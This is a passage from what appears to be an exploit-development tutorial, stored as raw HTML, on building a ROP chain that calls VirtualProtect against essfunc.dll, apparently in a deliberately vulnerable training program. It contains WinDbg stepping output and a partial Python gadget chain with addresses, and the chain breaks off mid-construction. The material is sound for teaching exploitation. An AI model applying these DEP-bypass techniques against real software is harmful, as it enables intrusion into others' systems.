&lt;p&gt;After this gadget is executed, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; points to the start of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton once again which the address is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x00ecf228&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Stepping through the gadgets until the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov  [esp+0x00], eax ; call  [0x62507124]&lt;/code&gt; instruction is reached:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;essfunc!EssentialFunc14+0x4d3:
62501a9d 890424   mov dword ptr [esp],eax
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After stepping over this instruction, let’s examine the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dd esp L1
00ecfa40  00ecf228
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown above, the value of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; is at the top of the stack. Now let’s step into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; instruction:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;essfunc!EssentialFunc14+0x4d6:
62501aa0 ff1524715062   call dword ptr [essfunc!EssentialFunc14+0x5b5a (62507124)]

0:003&amp;gt; t
...
essfunc!EssentialFunc3+0x7:
625014e1 5b              pop     ebx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Before stepping through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop ebx&lt;/code&gt; instruction, let’s examine the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; dds esp L3
00ecfa3c  62501aa6
00ecfa40  00ecf228
00ecfa44  62501d08
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now the address on top of the stack is the return addresses which was placed on the stack because of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;call&lt;/code&gt; instruction. Let’s pop it off and re-examine the stack afterwards:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;essfunc!EssentialFunc3+0x8:
625014e2 5b              pop     ebx

0:003&amp;gt; dds esp L1
00ecfa40  00ecf228
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The next value on top of the stack is the pointer to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton, the pointer which is held by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt;. After stepping through the second &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pop&lt;/code&gt; instruction, we can verify that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; now holds this address:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0:003&amp;gt; r @ebx
ebx=00ecf228
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally we get to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ret&lt;/code&gt; instruction which will instruct the instruction pointer to return to the address which is on top of the stack:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;essfunc!EssentialFunc3+0x9:
625014e3 c3              ret
0:003&amp;gt; r @ebx

ebx=00ecf228
0:003&amp;gt; dds esp L1
00ecfa44  62501d08
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown above, the program will proceed to the address of the subsequent gadget in the sequence, maintaining the flow of the chain!&lt;/p&gt;

&lt;h4 id=&quot;back-to-overriding-the-first-placeholder&quot;&gt;Back to overriding the first placeholder&lt;/h4&gt;

&lt;p&gt;Having set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EBX&lt;/code&gt; to point to the beginning of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; skeleton and adjusted the pointers to reference the addresses of gadgets that emulate specific behaviors, the next step is to replace the first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DWORD&lt;/code&gt; in the skeleton with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; address. As discussed earlier, the address of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; was obtained at runtime by accessing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;IAT&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Now, let’s refocus on the subsequent gadget which serves our purpose:&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC] 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For this to work, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EAX&lt;/code&gt; should contain the address of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VirtualProtect&lt;/code&gt; stub. To fit this requirement, we’ll need to restructure our gadget chain. One of the recurrent aspects of crafting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chains is this need to occasionally revisit and adjust the sequence to ensure functionality. Rarely do you build a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ROP&lt;/code&gt; chain in a linear fashion from beginning to end; instead, there’s often a need to skip around and return to various segments:&lt;/p&gt;

&lt;p&gt;As such, our gadget chain will now be the following:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 0. preserve location of VirtualProtect skeleton in ECX
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625021ff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# nop ; mov ecx, eax ; mov eax, ecx ; pop ebx ; pop esi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for ebx
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for esi
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1. override pointers with gadgets
# override 0x625070DC to hold address of pop r32 ; ret gadget
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014fc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625070DC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ebx will be 0x625070DC 
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625012f7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebp; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501ea9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# override 0x62507124 to hold address of pop r32 ; pop ebx ; ret gadget
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014fc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62507124&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# ebx will be 0x62507124 
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014d5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop eax ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625014e1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# address of pop ebx ; pop ebx ; ret
# EAX now holds address of pop ebx ; pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501ea9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [ebx], eax ; mov eax,  [esp+0x24] ; mov  [ebx+0x04], eax ; call  [0x625070DC]
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 2. retrieve VirtualProtect VMA and move into ESI
# 62507120		VirtualProtect	KERNEL32
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625012f7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebp ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x625012f6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; pop ebp ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6250103d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop ebx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62507120&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# VirtualProtect IAT
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501e30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov eax,  [ebx] ; mov  [esp+0x00], eax ; call ebp
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x42424242&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk to be overwritten by [esp + 0x00]
# preserve VirtualProtect VMA in ESI
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501afb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501afb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501e3a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov esi, eax ; call edi
# * ESI now holds VirtualProtect VMA
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 3. get EBX to point to start of VirtualProtect skeleton
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6250219d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov eax, ecx ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62501a9d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov  [esp+0x00], eax ; call  [0x62507124]
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk will be overwritten by [esp + 0x00]
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 4. overwrite first placeholder with VirtualProtect VMA
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x62502412&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# mov eax, esi ; pop esi ; pop edi ; ret
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for esi
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;L'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x41414141&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# junk for edi
